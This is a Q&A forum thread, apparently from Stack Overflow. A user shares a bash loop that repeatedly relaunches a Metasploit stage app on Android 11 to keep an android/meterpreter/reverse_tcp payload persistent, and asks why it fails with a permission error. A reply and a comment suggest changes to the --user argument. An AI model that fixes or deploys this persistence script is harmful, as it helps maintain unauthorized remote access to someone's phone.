0

I am triying to use this code on Android 11:

#!/bin/bash
while:
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done

The objetive of this code is to get a persistance paylaod with metasploit, but when I execute it throws this error:

Exception occurred while executing 'start':
java.lang.SecurityException: Permission Denial: package=com.android.shell does not belong to uid=10463
at com.android.server.wm.ActivityTaskManagerService.assertPackageMatchesCallingUid(ActivityTaskManagerService.java:2741)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1126)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1117)
at com.android.server.am.ActivityManagerService.startActivityAsUserWithFeature(ActivityManagerService.java:3751)
at com.android.server.am.ActivityManagerShellCommand.runStartActivity(ActivityManagerShellCommand.java:554)
at com.android.server.am.ActivityManagerShellCommand.onCommand(ActivityManagerShellCommand.java:186)
at android.os.BasicShellCommandHandler.exec(BasicShellCommandHandler.java:98)
at android.os.ShellCommand.exec(ShellCommand.java:44)
at com.android.server.am.ActivityManagerService.onShellCommand(ActivityManagerService.java:10879)
at android.os.Binder.shellCommand(Binder.java:929)
at android.os.Binder.onTransact(Binder.java:813)
at android.app.IActivityManager$Stub.onTransact(IActivityManager.java:5258)
at com.android.server.am.ActivityManagerService.onTransact(ActivityManagerService.java:2951)
at android.os.Binder.execTransactInternal(Binder.java:1159)
at android.os.Binder.execTransact(Binder.java:1123)

Payload: android/meterpreter/reverse_tcp

Can someone explain me what it is failing and how to solve it please.

Cobra 444
  • 9
  • 2

1 Answers1

0

Try changing the --user in your shell script to current user value,

That should help solve it

Manan Thakkar
  • 1
  • 1
    Your answer could be improved with additional supporting information. Please [edit] to add further details, such as citations or documentation, so that others can confirm that your answer is correct. You can find more information on how to write good answers [in the help center](/help/how-to-answer). – Community Sep 26 '21 at 21:31
  • I think the error message is from the mismatch between the uid (associated with your app) and Android's impression of which app the shell session belongs to (com.android.shell). Tried: no user, --user 0, --user 278, --user 10278, and --user -1. All failed, but --user -1 gave a different error message "Error: Can't start service with user 'all'". – Greg Alexander Sep 04 '22 at 18:42